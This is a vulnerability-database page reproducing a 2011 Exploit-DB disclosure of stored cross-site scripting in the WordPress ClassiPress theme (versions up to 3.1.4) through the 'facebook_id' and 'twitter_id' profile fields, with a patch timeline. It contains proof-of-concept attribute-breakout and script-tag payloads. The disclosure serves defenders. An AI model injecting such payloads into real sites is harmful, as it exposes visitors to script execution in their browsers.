Lucene search
+L

WordPress Theme classipress 3.1.4 - Persistent Cross-Site Scripting

🗓️ 31 Oct 2011 00:00:00Reported by Paul LoftnessType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 53 Views

WordPress Theme classipress 3.1.4 - Persistent Cross-Site Scripting vulnerability in 'facebook_id' and 'twitter_id' parameter

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2011-5257
31 Oct 201100:00
circl
cve
CVE
CVE-2011-5257
12 Feb 201320:00
cve
cvelist
Cvelist
CVE-2011-5257
12 Feb 201320:00
cvelist
euvd
EUVD
EUVD-2011-5156
7 Oct 202500:30
euvd
nvd
NVD
CVE-2011-5257
12 Feb 201320:55
nvd
patchstack
Patchstack
WordPress Classipress Theme <= 3.1.4 - Stored XSS
31 Oct 201100:00
patchstack
prion
Prion
Cross site scripting
12 Feb 201320:55
prion
redhatcve
RedhatCVE
CVE-2011-5257
22 May 202501:53
redhatcve
wpvulndb
WPVulnDB
Classipress <= 3.1.4 - Stored XSS
1 Aug 201410:59
wpvulndb
# Exploit Title: WordPress Classipress Theme <= 3.1.4 Stored XSS
# Date: 2011-09-26
# Author: Paul Loftness
# Contact:http://attackvectorlabs.blogspot.com
# Vendor: Appthemes LLc.
# Product Web Page: http://www.appthemes.com/themes/classipress/
# Version: <=3.1.4
# Tested Versions: 3.1.4, 3.0.5.3

Summary:
-------------------------
ClassiPress is a popular and widely used classified ads software for WordPress.

Description:
-------------------------
Classipress is vulnerable to multiple stored XSS vulnerabilities.  Input through the POST parameters 'facebook_id' and 'twitter_id' in a registered user's profile page is either not sanitisized or poorly sanitised (version specific) allowing the attacker to insert Javascript code.

In version 3.0.5.2 and presumably all previous versions, no sanitation is in place, allowing an attacker to insert code within a tag or to break out of it.  In version 3.1.4, the less-than character is sanitised but an attacker can still insert quotes and place an event handler in the tag.


Proof-of-Concept Code:
-------------------------

Insertion page: http://example_site/author/profile/
Infected page : http://example_site/author/attacker_username/
Note: Some sites replace "author" with another path, this is not a vanilla configuration, however.

Version: ClassiPress 3.0.5.2
Vulnerable Input Parameters:

	twitter_id:  " onmouseover="alert('XSS');
	facebook_id: " onmouseover="alert('XSS');
    Alternate Exploit code:
	twitter_id:  "><script>alert('XSS');</script><div id="
	facebook_id: "><script>alert('XSS');</script><div id="


Version: ClassiPress 3.1.4
Vulnerable Input Parameters:

	twitter_id:  " onmouseover='alert("XSS");'><
	facebook_id: " onmouseover='alert("XSS");'><


Timeline:
-------------------------
Vulnerability Discovered: 8/10/2011
Vulnerability Reported to Vendor: 9/1/2011
Patch Released with version 3.1.5: 10/7/2011

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation